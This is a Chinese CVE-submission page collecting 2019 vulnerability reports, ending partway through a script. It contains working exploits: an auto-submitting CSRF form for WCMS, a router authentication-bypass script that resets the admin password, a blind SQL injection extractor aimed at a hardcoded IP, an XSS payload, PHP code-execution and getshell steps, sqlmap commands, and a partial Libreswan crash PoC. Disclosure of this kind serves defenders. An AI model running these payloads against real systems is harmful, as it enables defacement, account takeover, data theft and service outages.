CVE中文申请站

CVE-2019-14240:WCMS v0.3.2后台管理页面存在CSRF漏洞

一、漏洞摘要

漏洞名称: WCMS v0.3.2后台管理页面存在CSRF漏洞
上报日期: 2019-07-12
漏洞发现者: Chen Wu
产品首页: http://wcms.space/
软件链接: https://github.com/vedees/wcms
版本: v0.3.2
CVE编号: CVE-2019-14240


二、漏洞概述

WCMS v0.3.2后台管理页面存在CSRF漏洞,管理员登陆后,打开下面poc.html可触发漏洞,篡改网站首页内容。
1.PNG

三、利用代码

当管理员登陆后,通过浏览器打开如下页面,可将首页内容改为hack test!
poc.html

<html>
  <head>
  <title> CSRF Proof</title>
  <script type="text/javascript">
    function exec1(){
      document.getElementById('form1').submit();
    }
  </script>
  </head>
  <body onload="exec1();">
    <form id="form1" action="http://localhost/wex/html.php?finish=../index.html" method="POST">
      <input type="hidden" name="textAreaCode" value="hack test!" />
      <input type="hidden" name="codeEditor" value="" />
    </form>
  </body>
</html>


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/266/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14240
exploit-db:发布中

CVE-2019-12862:天翼创维awifi路由器存在多处未授权访问漏洞

一、漏洞摘要

漏洞名称: 天翼创维awifi路由器存在多处未授权访问漏洞
上报日期: 2019-06-01
漏洞发现者: H4lo
产品首页: http://www.skyworth.com/
软件链接: http://www.skyworth.com/
版本: Boa/0.94.14rc21
CVE编号: CVE-2019-12862


二、漏洞概述

1.连接上wifi,进入路由器的登录界面:
1.png
在未知用户名和密码的情况下,右键查看源代码,在clback函数中,只根据返回包的返回值来判断登录状态,这里就通过可以更改返回包的值来绕过登录认证。
2.png
2.漏洞利用步骤
在登录处输入admin、admin抓包,接着拦截响应包。
3.png
在响应包中更改0变成1,点击forward之后就可以登录成功。
4.png
5.png
最终其实只要控制cookie中的authflag为1即可直接进入后台。
6.png
进入后台之后可以进行管理员密码的越权修改,绕过验证原密码的方法也是修改返回包。
7.png
还可以进行一些固件升级的操作,越权上传恶意文件会直接使路由器固件报废。

或者可以越权读取/导入路由器配置信息,或者pppoe账号密码等等 。
8.png

三、利用方法

构造如下poc.py

#coding: utf-8
#__author__: H4lo
import requests
import sys


payload = "authflag=1"
UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.75 Safari/537.36"
headers = {
    "User-Agent": UA,
    "Cookie": payload
}

def exp(ip):
    info = """1. Login with no password\n2. Change administrator's password\n"""
    print info
    op = int(raw_input("Enter the options:"))
    if op == 1:
        url = "http://" + str(ip)+"/home.htm"
        try:
            res = requests.get(url,headers=headers,timeout=5)
            if "title.htm" in res.text:
                print "[+] The router is vulnerable"
            else:
                print "[-] The router is not vulnerable"
        except Exception as e:
            print str(e)
            
    elif(op == 2):
        url = "http://" + str(ip) + "/boafrm/formAwifiSwitchSetup"
        data = {
            "olduserpass":"1",
            "newpass":"123456",
            "confirmnewpass":"123456",
            "submit-url":"/password.htm"
        }
        try:
            res = requests.post(url=url,headers=headers,data=data,timeout=5)
            if "restartNow" in res.text:
                print "[+] Password had be changed to 123456"
            else:
                print "[-] Some error!"
        except Exception as e:
            print str(e)
            
    else:
        print "error options!"
if __name__ == '__main__':
    ip = sys.argv[1]
    exp(ip)

9.png

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/264/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12862
exploit-db:发布中

CVE-2019-12860:S-CMS PHP v3.0存在SQL注入漏洞

一、漏洞摘要

漏洞名称: S-CMS PHP v3.0存在SQL注入漏洞
上报日期: 2019-05-31
漏洞发现者: zhhhy
产品首页: https://www.s-cms.cn/download.html?code=php
软件链接: https://www.s-cms.cn/download.html?code=php
版本: PHP v3.0
CVE编号: CVE-2019-12860


二、漏洞概述

漏洞代码位置:/js/scms.php 第182-204行

1.png
代码分析:
在第83行处,变量$pageid接受使用POST方式传递的pageid的值。而在第87行和第95行处,变量$pageid被直接拼接进SQL语句之中,从而产生注入。而由于是数字型注入,避免使用单引号等符号以至于绕过了防御。
构造如下数据包 ,如图所示。
2.png
可以看到数据包回显了20151019102732946.jpg。
而构造错误的数据包如下
3.png
会发现错误的数据包不会回显20151019102732946.jpg。由此可以判断这是一个布尔型注入。

三、利用方法

构造如下poc.py

POC代码如下:
import requests
import urllib.parse

chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_0123456789'

url='http://106.14.144.32:2000/js/scms.php'

def getDatabaseLength():
    print('开始爆破数据库长度。。。')
    for i in range(10):
        payload="1%0Aand%0Aif(length(database())>{},1,0)#".format(i)
        payload=urllib.parse.unquote(payload)
        data = {
            'action':'jssdk',
            'pagetype':'text',
            'pageid':payload
        }
        # print(data)
        # data = urllib.parse.unquote(data)
        # print(data)
        rs = requests.post(url=url,data=data)
        rs.encode='utf-8'
        # print(rs.text)
        if "20151019102732946.jpg" not in rs.text:
            print("数据库名的长度为:{}".format(i))
            return i

def getDatabaseName():
    print('开始获取数据库名')
    databasename = ''

    length = getDatabaseLength()
    # length = 4
    for i in range(1,length+1):
        for c in chars:
            payload='1%0Aand%0Aif(ascii(substr(database(),{},1))={},1,0)#'.format(i,ord(c))
            # print(payload)
            payload = urllib.parse.unquote(payload)
            data = {
                'action': 'jssdk',
                'pagetype': 'text',
                'pageid': payload
            }
            rs = requests.post(url=url, data=data)
            rs.encode = 'utf-8'
            # print(rs.text)
            if "20151019102732946.jpg" in rs.text:
                databasename = databasename+c
                print(databasename)

    return databasename
getDatabaseName()


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/254/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12860
exploit-db:发布中

CVE-2019-12858:zzzphp v1.6.6 任意代码执行

一、漏洞摘要

漏洞名称: zzzphp v1.6.6 任意代码执行
上报日期: 2019-05-30
漏洞发现者: ll
产品首页: http://www.zzzcms.com/index.html
软件链接: http://www.zzzcms.com/index.html
版本: 1.6.6
CVE编号: CVE-2019-12858


二、漏洞概述

在后台多处包含缓存文件,导致可以在多处执行任意 php 代码。

在 /adminxxx/index.php (xxx 为随机生成的三位数)中

最后一行:

include parse_admin_tlp($module);

跟进到 /inc/zzz_main.php 中

第 1979 行:

function parse_admin_tlp( $module ) {
    $tpltype = G( 'ID' ) ? 'edit' : 'add';
    $tplfile = SITE_DIR . conf( 'adminpath' ) . 'template/' . $module . '.tpl';
    $cachefile = RUN_DIR . 'cache/' . conf( 'adminpath' ) . md5( $module . $tpltype ) . '.tpl';
    if ( !is_file( $cachefile ) || time_file( $tplfile ) > time_file( $cachefile ) || size_file( $tplfile ) == 0 ) {
        create_file( $cachefile, template_parse( load_file( $tplfile ) ) );
    }
    return $cachefile;
}

如果 cachefile 文件不存在,则根据 tplfile 创建 cachefile 文件,如果 cachefile 文件存在,则将文件名直接返回,即在调用处 /adminxxx/index.php 的最后一行包含 cachefile 文件。

而 cachefile 文件内容可以在后台修改,如果其内容修改为任意 php 代码,则会造成任意 php 代码执行。

三、利用方法

先生成一个 cachefile 文件。

后台 —> 用户管理 —> 会员组管理。

01.png

该请求提交到 /adminxxx/index.php 处理,此时 module 变量的值为 usergrouplist,如果没有相应的缓存文件,在最后一行会生成该文件。

php -r "var_dump(md5('usergrouplistadd'));"
string(32) "f6f373570fe983d7f5ea813871d99f6d"

文件名:f6f373570fe983d7f5ea813871d99f6d.tpl

修改缓存文件内容。

后台 —> 静态缓存 —> 缓存列表 —> 后台缓存 —> 修改 f6f373570fe983d7f5ea813871d99f6d.tpl 文件内容为

<?php phpinfo();?>

访问http://servername/adminxxx/?usergrouplist

02.png

后台的很多页面的展示都由 /adminxxx/index.php 处理,只要将相应的 cachefile 文件的内容改为 php 代码,在最后一行包含时就会被执行。

比如:
03.png
04.png

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/250/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12858
exploit-db:发布中

CVE-2019-12857:蝉知门户系统7.0.1开源版存在XSS漏洞

一、漏洞摘要

漏洞名称: 蝉知门户系统7.0.1开源版存在XSS漏洞
上报日期: 2019-05-30
漏洞发现者: fucsec
产品首页: https://www.chanzhi.org/
软件链接: https://www.chanzhi.org/download/chanzhi7.0.1-332.html
版本: V7.0.1
CVE编号: CVE-2019-12857


二、漏洞概述

蝉知门户系统(chanzhiEPS)是一款开源免费的企业门户系统,企业建站系统,CMS系统。它专为企业营销设计,功能专业全面,内置了文章发布、会员管理、论坛评论、产品展示、在线销售、客服跟踪等功能。
在chanzhiEPS.7.0.1chanzhiepssystemframeworkbase router.class.php中的第1764到1802行public function mergeParams函数检查了URL中的参数
1.png
跟进$ValueRule变量及$filter->default->paramValue规则,在D:chanzhiEPS.7.0.1chanzhiepssystemconfigfilter.php中的38行代码定义了过滤规则,如下图
2.png
我们搜索关键词“web”后,在标题和内容都进行了搜索,审查元素,跟进words值。在chanzhiEPS.7.0.1chanzhiepssystemmodulesearchcontrol.php中的23行public function index函数对传递过来的值进行搜索,并将结果进行显示。
这段代码很有意思,需仔细分析
3.png
4.png
如果传递过来的word不为空,则对words进行urldecode,貌似找到了绕过的方法,我们在搜索框中先将payload进行URL编码测试
Payload:
1' onmouseover=prompt(1) bad='-1
前面我们分析了系统在传递参数的时候会进行urldecode操作,会保证测试效果,我们先对payload进行URL编码
urlencode:1%27%20onmouseover%3Dprompt%281%29%20fucsec%3D%27-1
点击搜索后,服务依然响应BAD Request!
5.png
继续分析,终于在chanzhiEPS.7.0.1chanzhiepssystemframeworkbase router.class.php中的第1764到1802行public function mergeParams函数中的第1792行找到了答案。如下
6.png
对传递过来的参数再次进行了urldecode,相当于在输出前进行了两次urldecode。

三、利用方法

我们调整我们的payload,对payload进行两次urlencode。如下
1%2527%2520onmouseover%253Dprompt%25281%2529%2520fucsec%253D%2527-1
点击搜索,如下成功完成系统的弹框。
漏洞总结及修复建议:
系统进行了多次过滤也采取了很多安全措施
7.png
我们全文搜索一下处理XSS的函数就知晓了,一般多用htmlspecialchars来转义XSS输出。全局搜索使用到该函数的地方有121处,但遗憾的是没用到跟搜索相关的Search模块下,Search模块下的文件均未出现htmlspecialchars函数。
8.png
修复建议:将htmlspecialchars函数应用在Serach模块及其它需要输出内容的模块。

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/245/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12857
exploit-db:发布中

CVE-2019-12861:蝉知CMS7.0.1后台可Getshell

一、漏洞摘要

漏洞名称: 蝉知CMS7.0.1后台可Getshell
上报日期: 2019-05-30
漏洞发现者: fucsec
产品首页: https://www.chanzhi.org/
软件链接: https://www.chanzhi.org/download/chanzhi7.0.1-332.html
版本: V7.0.1
CVE编号: CVE-2019-12861


二、漏洞概述

蝉知企业门户系统是由业内资深开发团队开发的一款专向企业营销使用的企业门户系统,企业使用蝉知系统可以非常方便地搭建一个专业的企业营销网站。
可通过“登陆后台->设计->编辑模板”的方式getshell。

三、利用方法

首先登录后台,选择设计,编辑模板
1.png
其次,保存后用Burp改包,修改content内容,并利用文件跳转到header文件,如下
2.png
最后直接getshell
3.png
漏洞审计:
漏洞所在文件:systemmoduleuicontrol.php(在后台模板编辑)

漏洞文件代码:(只贴上相关代码)

4.png
首先我们看第788行,$template = $this->config->template->{$this->app->clientDevice}->name;这里代表获取他自己对象中的config属性中的template对象中的{$this->app->clientDevice}对象中的name属性,可以这样理解这里只是获取他的默认模块。我们看看第791行if($_POST)判断$_POST是不是上传,如果是则进入区间。第793行$canManage = array('result' => 'success');创建一个数组,if(!$this->loadModel('guarder')->verify()) $canManage = $this->loadModel('common')->verifyAdmin();这里可以看到if判断是否已经上传过他要求的目录,如果为true那么他就不会去调用验证区间直接跳到第795行。if($canManage['result'] != 'success')如果验证不通过他就会提示需要创建文件,就不会走下下面的区间。我们在看看第796行$result = $this->ui->writeViewFile($template, $this->post->module, $this->post->file);,这里一看就是进入其他区间的,我们追下这个方法在那个地方。
5.png
路径:systemmoduleuimodel.php
第1523行public function writeViewFile($template, $module, $file),public代表公共方法,第1525行$file = $this->getExtFile($template, $module, $file);,他这里又调用一次当前文件中的getExtFile方法。
6.png
这里可以看到他这里只是简单输出个路径,无视他。回到第二张图片,第1526行$filePath = dirname($file);,这里代表返回路径中的目录部分,第1527行,if(!is_dir($filePath)) mkdir($filePath, 0777, true);判断文件夹是否存在,如果不存在则创建文件夹并赋值777权限。第1528行和第1529行是定义一个数组,第1530行$content = str_replace($gibbedEvils, $evils, $this->post->content);,代表字符串替换,其实他这里写错了不应该这样写的,可以看到他这个$gibbedEvils数组把危险函数用空格来隔开,这样肯定不可以运行的,这个没有问题。那么我们在看看第二个数组$evils,这里的危险函数是可以直接运行的,但是呢,他字符串替换的时候把两个数组搞反了,这样就导致用户端直接上传木马。第1532行if(function_exists('get_magic_quotes_gpc') and get_magic_quotes_gpc()) $content = stripslashes($content);,第一个判断是判断他是否有这个自定义变量,并且get_magic_quotes_gpc()函数是否开启,如果这两个条件满足则使用stripslashes去掉反斜杠函数。第1533行就是写入文件了$result = file_put_contents($file, $content);。让我们在回到第一张图片。第797行if($result) $this->send(array('result' => 'success', 'message' => $this->lang->saveSuccess, 'locate' => inlink('editTemplate', "moduel=$module&file=$file")));,这里判断成功则提示个信息,如果不成功则返回失败信息$this->send(array('result' => 'fail', 'message' => $this->lang->fail));。
漏洞修复:
路径:systemmoduleuimodel.php.php
在1524行下面添加个basename,返回路径中的文件名,然后在第1530行加2个值,第一个是过滤<?php,为啥说过滤<?php呢?因为如果你要运行php必须加上标准的不然真个php代码是运行不起来的。然后在使用strtolower函数,强制吧英文大写转换成小写在做处理,这样不管你是大小写来写的字我都过滤掉。
7.png

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/236/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12861
exploit-db:发布中

CVE-2019-12859:MKCMS V5.0存在SQL注入漏洞

一、漏洞摘要

漏洞名称: MKCMS V5.0存在SQL注入漏洞
上报日期: 2019-05-29
漏洞发现者: zhhhy
产品首页: https://micool.net/1090.html
软件链接: https://www.lanzous.com/i2ipcre
版本: V5.0
CVE编号: CVE-2019-12859


二、漏洞概述

1、漏洞存在在http://127.0.0.1/ucenter/reg.php 中 name字段。漏洞URL:http://127.0.0.1/ucenter/reg.php
2、漏洞存在在http://127.0.0.1/ucenter/active.php 中 verify字段。漏洞URL:http://127.0.0.1/ucenter/active.php?verify=a
1.png

三、利用方法

下面以reg.php 中 name字段为例,先使用burp抓取如下数据包
2.png
然后保存为post.txt
3.png

使用sqlmap获取数据
4.png

源码分析:
上面的文章中提到了,在注册页面存在注入。增加了几条输出语句来观察一下语句拼接的情况。
5.png
其实该CMS对GET和POST参数都进行了处理,然鹅,不知道什么原因,又把转义给去除了
6.png
处理也是有限的,只是对特殊字符串进行转移,以至于无法防御后面的数字型注入。
7.png

active.php 中 verify字段可使用sqlmap获取数据
sqlmap.py -u 106.14.144.32:1777/ucenter/active.php?verify=a --dbs
8.png

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/226/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12859
exploit-db:发布中

CVE-2019-12312:NULL pointer dereference and IKE pluto daemon restart in Libreswan 3.27

一、漏洞摘要

漏洞名称: NULL pointer dereference and IKE pluto daemon restart in Libreswan 3.27
上报日期: 2019-05-12
漏洞发现者: Guo Jiaxing
产品首页: https://libreswan.org
软件链接: https://github.com/libreswan/libreswan
版本: 3.27
CVE编号: CVE-2019-12312


二、漏洞概述

通过向Libreswan服务发送两个3des_cbc模式的IKEv2数据包(init_IKE和delete_IKE),会引发pluto IKE守护进程重启。
首先,将第一个init_IKE消息发送到服务器。
服务器将init_IKE消息回复给客户端。
然后将delete_IKE消息(加密)发送到服务器。
服务器尝试向客户端响应INVALID_IKE_SPI,但在准备加密消息时发生异常。
1.png
漏洞触发、相关日志和配置信息如下:
日志如下:

May  7 16:32:32.868480: | state #1 requesting EVENT_CRYPTO_TIMEOUT to be deleted
May  7 16:32:32.868496: | free_event_entry: release EVENT_CRYPTO_TIMEOUT-pe@0x55f4dc4630f8
May  7 16:32:32.868501: | event_schedule: new EVENT_v2_RESPONDER_TIMEOUT-pe@0x55f4dc4630f8
May  7 16:32:32.868506: | inserting event EVENT_v2_RESPONDER_TIMEOUT, timeout in 200.000 seconds for #1
May  7 16:32:32.868515: | processing: stop state #1 connection "ikev2-cp"[1] 192.168.40.1 192.168.40.1:500 (in schedule_event_now_cb() at server.c:561)
May  7 16:32:32.868519: | serialno table: hash serialno #0 to head 0x55f4db2fb4e0
May  7 16:32:32.868522: | serialno table: hash serialno #0 to head 0x55f4db2fb4e0
May  7 16:32:32.883707: | *received 68 bytes from 192.168.40.1:4500 on ens33 (port=4500)
May  7 16:32:32.883740: |   34 ba 3b f6  d8 8c 17 ef  c6 e1 11 69  1d 5e 18 44
May  7 16:32:32.883743: |   2e 20 25 08  00 00 00 01  00 00 00 44  2a 00 00 28
May  7 16:32:32.883745: |   3d 21 87 9c  40 0e 58 e5  a1 df c6 c9  a2 26 f8 f5
May  7 16:32:32.883766: |   c7 0f 53 75  d7 a0 df c4  6e 5a 1a 99  55 02 59 5f
May  7 16:32:32.883769: |   ad c5 55 41
May  7 16:32:32.883773: | processing: start from 192.168.40.1:4500 (in process_md() at demux.c:391)
May  7 16:32:32.883778: | **parse ISAKMP Message:
May  7 16:32:32.883780: |    initiator cookie:
May  7 16:32:32.883782: |   34 ba 3b f6  d8 8c 17 ef
May  7 16:32:32.883785: |    responder cookie:
May  7 16:32:32.883786: |   c6 e1 11 69  1d 5e 18 44
May  7 16:32:32.883789: |    next payload type: ISAKMP_NEXT_v2SK (0x2e)
May  7 16:32:32.883792: |    ISAKMP version: IKEv2 version 2.0 (rfc4306/rfc5996) (0x20)
May  7 16:32:32.883794: |    exchange type: ISAKMP_v2_INFORMATIONAL (0x25)
May  7 16:32:32.883796: |    flags: ISAKMP_FLAG_v2_IKE_INIT (0x8)
May  7 16:32:32.883799: |    message ID:  00 00 00 01
May  7 16:32:32.883801: |    length: 68 (0x44)
May  7 16:32:32.883804: |  processing version=2.0 packet with exchange type=ISAKMP_v2_INFORMATIONAL (37)
May  7 16:32:32.883806: | I am receiving an IKEv2 Request ISAKMP_v2_INFORMATIONAL
May  7 16:32:32.883808: | I am the IKE SA Original Responder
May  7 16:32:32.883814: | cookies table: hash icookie 34 ba 3b f6  d8 8c 17 ef rcookie c6 e1 11 69  1d 5e 18 44 to 3873113480610546027 slot 0x55f4db2f6b40
May  7 16:32:32.883817: | parent v2 peer and cookies match on #1
May  7 16:32:32.883820: | v2 state object #1 found, in STATE_PARENT_R1
May  7 16:32:32.883825: | processing: start state #1 connection "ikev2-cp"[1] 192.168.40.1 192.168.40.1:500 (in processed_retransmit() at ikev2.c:1182)
May  7 16:32:32.883827: | found state #1
May  7 16:32:32.883831: | processing: [RE]START state #1 connection "ikev2-cp"[1] 192.168.40.1 192.168.40.1:500 (in ikev2_process_packet() at ikev2.c:1552)
May  7 16:32:32.883834: | processing: start connection "ikev2-cp"[1] 192.168.40.1 (BACKGROUND) (in ikev2_process_packet() at ikev2.c:1557)
May  7 16:32:32.883837: | #1 is idle
May  7 16:32:32.883839: | #1 idle
May  7 16:32:32.883841: | #1 in state PARENT_R1: received v2I1, sent v2R1
May  7 16:32:32.883844: | selected state microcode roof
May  7 16:32:32.883846: | no useful state microcode entry found
May  7 16:32:32.883850: "ikev2-cp"[1] 192.168.40.1 #1: responding to INFORMATIONAL message (ID 1) from 192.168.40.1:500 with encrypted notification INVALID_IKE_SPI
May  7 16:32:32.883853: | Opening output PBS encrypted notification
May  7 16:32:32.883856: | **emit ISAKMP Message:
May  7 16:32:32.883858: |    initiator cookie:
May  7 16:32:32.883860: |   34 ba 3b f6  d8 8c 17 ef
May  7 16:32:32.883862: |    responder cookie:
May  7 16:32:32.883864: |   c6 e1 11 69  1d 5e 18 44
May  7 16:32:32.883866: |    next payload type: ISAKMP_NEXT_NONE (0x0)
May  7 16:32:32.883869: |    ISAKMP version: IKEv2 version 2.0 (rfc4306/rfc5996) (0x20)
May  7 16:32:32.883871: |    exchange type: ISAKMP_v2_INFORMATIONAL (0x25)
May  7 16:32:32.883873: |    flags: ISAKMP_FLAG_v2_MSG_RESPONSE (0x20)
May  7 16:32:32.883875: |    message ID:  00 00 00 01
May  7 16:32:32.883878: | next payload type: saving message location 'ISAKMP Message'.'next payload type'
May  7 16:32:32.883881: | next payload type: setting 'ISAKMP Message'.'next payload type' to IKEv2 Encryption Payload (46:ISAKMP_NEXT_v2SK)
May  7 16:32:32.883884: | ***emit IKEv2 Encryption Payload:
May  7 16:32:32.883886: |    next payload type: ISAKMP_NEXT_v2NONE (0x0)
May  7 16:32:32.883888: |    flags: none (0x0)
May  7 16:32:32.883890: | next payload type: saving message location 'IKEv2 Encryption Payload'.'next payload type'
May  7 16:32:32.883901: | emitting 8 raw bytes of IV into IKEv2 Encryption Payload
May  7 16:32:32.883904: | IV  d1 f5 3d d9  f2 04 95 d2
May  7 16:32:32.883906: | Adding a v2N Payload
May  7 16:32:32.883909: | next payload type: setting 'IKEv2 Encryption Payload'.'next payload type' to IKEv2 Notify Payload (41:ISAKMP_NEXT_v2N)
May  7 16:32:32.883911: | ****emit IKEv2 Notify Payload:
May  7 16:32:32.883913: |    next payload type: ISAKMP_NEXT_v2NONE (0x0)
May  7 16:32:32.883915: |    flags: none (0x0)
May  7 16:32:32.883918: |    Protocol ID: PROTO_v2_RESERVED (0x0)
May  7 16:32:32.883926: |    SPI size: 0 (0x0)
May  7 16:32:32.883929: |    Notify Message Type: v2N_INVALID_IKE_SPI (0x4)
May  7 16:32:32.883931: | next payload type: saving payload location 'IKEv2 Notify Payload'.'next payload type'
May  7 16:32:32.883944: | emitting length of IKEv2 Notify Payload: 8
May  7 16:32:32.883947: | adding 8 bytes of padding (including 1 byte padding-length)
May  7 16:32:32.883949: | emitting 8 raw bytes of padding and length into IKEv2 Encryption Payload
May  7 16:32:32.883952: | padding and length  00 01 02 03  04 05 06 07
May  7 16:32:32.883955: | emitting 12 zero bytes of length of truncated HMAC/KEY into IKEv2 Encryption Payload
May  7 16:32:32.883966: | emitting length of IKEv2 Encryption Payload: 40
May  7 16:32:32.883969: | emitting length of ISAKMP Message: 68
May  7 16:32:32.883972: | construct_enc_iv: encryption IV/starting-variable: salt-size=0 wire-IV-size=8 block-size 8
May  7 16:32:32.883974: | construct_enc_iv: encryption IV/starting-variable: computed counter-size=0
May  7 16:32:32.883976: | encryption IV/starting-variable
May  7 16:32:32.883978: |   d1 f5 3d d9  f2 04 95 d2
May  7 16:32:32.883980: | data before encryption:
May  7 16:32:32.883982: |   00 00 00 08  00 00 00 04  00 01 02 03  04 05 06 07
May  7 16:32:32.883985: | NSS ike_alg_nss_cbc: 3des_cbc - enter
May  7 16:32:32.883988: "ikev2-cp"[1] 192.168.40.1 #1: ABORT: ASSERTION FAILED: 3des_cbc - NSS derived enc key in NULL (in ike_alg_nss_cbc() at ike_alg_encrypt_nss_cbc_ops.c:41)

配置文件ipsec.cof如:

version 2.0

config setup
  virtual-private=%v4:10.0.0.0/8,%v4:192.168.0.0/16,%v4:172.16.0.0/12,%v4:!192.168.42.0/24,%v4:!192.168.43.0/24
  protostack=netkey
  interfaces=%defaultroute
  uniqueids=no
  plutodebug="all crypt"
  plutostderrlog=/var/log/libreswan.log

conn ikev2-cp
  left=%defaultroute
  leftcert=192.168.40.130
  leftid=@192.168.40.130
  leftsendcert=always
  leftsubnet=0.0.0.0/0
  leftrsasigkey=%cert
  right=%any
  rightid=%fromcert
  # rightaddresspool=192.168.43.10-192.168.43.250
  rightaddresspool=10.31.2.0-10.31.3.254
  rightca=%same
  rightrsasigkey=%cert
  narrowing=yes
  dpddelay=30
  dpdtimeout=120
  dpdaction=clear
  auto=add
  ikev2=insist
  rekey=yes
  pfs=no
  ike-frag=yes
  ike=3des-sha1;modp1024,aes256-sha2,aes128-sha2,aes256-sha1,aes128-sha1,aes256-sha2;modp1024,aes128-sha1;modp1024
  phase2alg=3des-sha1;modp1024,aes_gcm-null,aes128-sha1,aes256-sha1,aes128-sha2,aes256-sha2
  modecfgdns="8.8.8.8 8.8.4.4"
  encapsulation=yes
  mobike=no

conn shared
  left=%defaultroute
  leftid=218.28.144.36
  right=%any
  encapsulation=yes
  authby=secret
  pfs=no
  rekey=no
  keyingtries=5
  dpddelay=30
  dpdtimeout=120
  dpdaction=clear
  ike=aes256-sha2,aes128-sha2,aes256-sha1,aes128-sha1,aes256-sha2;modp1024,aes128-sha1;modp1024
  phase2alg=aes_gcm-null,aes128-sha1,aes256-sha1,aes256-sha2_512,aes128-sha2,aes256-sha2
  sha2-truncbug=yes


conn l2tp-psk
  auto=add
  leftprotoport=17/1701
  rightprotoport=17/%any
  type=transport
  phase2=esp
  also=shared


conn xauth-psk
  auto=add
  leftsubnet=0.0.0.0/0
  rightaddresspool=192.168.43.10-192.168.43.250
  modecfgdns="8.8.8.8 8.8.4.4"
  leftxauthserver=yes
  rightxauthclient=yes
  leftmodecfgserver=yes
  rightmodecfgclient=yes
  modecfgpull=yes
  xauthby=file
  ike-frag=yes
  ikev2=never
  cisco-unity=yes
  also=shared
  ike=3des-sha1;modp1024,aes256-sha2,aes128-sha2,aes256-sha1,aes128-sha1,aes256-sha2;modp1024,aes128-sha1;modp1024
  phase2alg=aes_gcm-null,aes128-sha1,aes256-sha1,aes128-sha2,aes256-sha2


三、利用代码

重现代码需要搭建Libreswan3.27服务器,之后参考ipsec.conf配置文件配置libreswan支持IKEv2下3des-cbc加密参数。
Poc用于发送数据包
运行poc后,程序向服务器发送第一个init_IKE包,之后服务器回应init_IKE报文,然后向服务器发送delete_IKE报文(非正常的报文交互)
2.png
服务器试图回应INVALID_IKE_SPI,在准备对报文进行加密时,出现异常
3.png
如果重复上述操作7次,ubuntu会禁止守护进程频繁重启,从而导致进程掉线。
4.png
5.png
exp代码如下:

#!/usr/bin/python
from __future__ import absolute_import, division, print_function
from scapy.layers.ipsec import *
from scapy.layers.inet import *
from scapy.contrib.ikev2 import *
from scapy.all import *
import os
import json
from cryptography.hazmat.primitives.asymmetric import dh
from scapy.layers.tls.crypto.pkcs1 import pkcs_i2osp, pkcs_os2ip
from scapy.utils import long_converter
from scapy.compat import *
from scapy.config import conf, crypto_validator
from cryptography.hazmat.primitives import hashes, hmac
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
import copy
import time
import threading
import sys
from fractions import gcd
import os
import socket
import struct
conf.use_pcap = True
localhost = "127.0.0.1"
retry_timeout = 1
srp1_timeout = 0.3
srp1_timeout_init = 0.5
retry_times = 1
srp1_verbose = 0
Init_length = 375
ip_src = "192.168.40.1"
ip_dst = "192.168.40.130"
ether_src = "00:50:56:c0:00:08"
ether_dst = "00:0c:29:0b:f0:c5"
iface = "VMware Virtual Ethernet Adapter for VMnet8"

init_my_ikev2 = {"current": None, "old": None, "pck1": b"", "ip_byte": b""}
my_ikev2 = {"current": None, "old": None, "pck1": b"", "ip_byte": b""}


def _lcm(a, b):
    if a == 0 or b == 0:
        return 0
    else:
        return abs(a * b) // gcd(a, b)


class CryptAlgo(object):
    def __init__(self, name, cipher, mode, block_size=None, iv_size=None,
                 key_size=None, icv_size=None, salt_size=None, format_mode_iv=None):
        self.name = name
        self.cipher = cipher
        self.mode = mode
        self.icv_size = icv_size
        self.is_aead = False
        if block_size is not None:
            self.block_size = block_size
        elif cipher is not None:
            self.block_size = cipher.block_size // 8
        else:
            self.block_size = 1
        if iv_size is None:
            self.iv_size = self.block_size
        else:
            self.iv_size = iv_size
        if key_size is not None:
            self.key_size = key_size
        elif cipher is not None:
            self.key_size = tuple(i // 8 for i in cipher.key_sizes)
        else:
            self.key_size = None

    def check_key(self, key):
        if self.key_size and not (len(key) == self.key_size or len(key) in self.key_size):
            raise TypeError('invalid key size %s, must be %s' %
                            (len(key), self.key_size))

    def generate_iv(self):
        return os.urandom(self.iv_size)

    @crypto_validator
    def new_cipher(self, key, mode_iv, digest=None):
        return Cipher(
            self.cipher(key),
            self.mode(mode_iv),
            default_backend(),
        )

    def pad(self, sk):
        data_len = len(sk) + 1
        align = _lcm(self.block_size, 4)
        padlen = -data_len % align
        padding = struct.pack("B" * padlen, *[0 for i in range(padlen)])
        payload_len = len(sk) + len(padding) + 1
        if payload_len % 4 != 0:
            raise ValueError('The size of the ESP data is not aligned to 32 bits after padding.')

        return sk + padding + bytes([padlen])

    def encrypt(self, sa, sk, key, iv):
        data = sk

        if self.cipher:
            cipher = self.new_cipher(key, iv)
            encryptor = cipher.encryptor()
            data = encryptor.update(data) + encryptor.finalize()
            sk1 = data
        return iv + sk1

    def decrypt(self, sa, sk1, key):
        iv = sk1[:self.iv_size]
        data = sk1[self.iv_size:]
        if self.cipher:
            cipher = self.new_cipher(key, iv)
            decryptor = cipher.decryptor()
            try:
                data = decryptor.update(data) + decryptor.finalize()
            except InvalidTag as err:
                raise IPSecIntegrityError(err)
        return data[:len(data) - orb(data[-1]) - 1]


CRYPT_ALGOS = {
    'NULL': CryptAlgo('NULL', cipher=None, mode=None, iv_size=0),
}
if algorithms:
    CRYPT_ALGOS['AES-CBC'] = CryptAlgo('AES-CBC',
                                       cipher=algorithms.AES,
                                       mode=modes.CBC)
    CRYPT_ALGOS['DES'] = CryptAlgo('DES',
                                   cipher=algorithms.TripleDES,
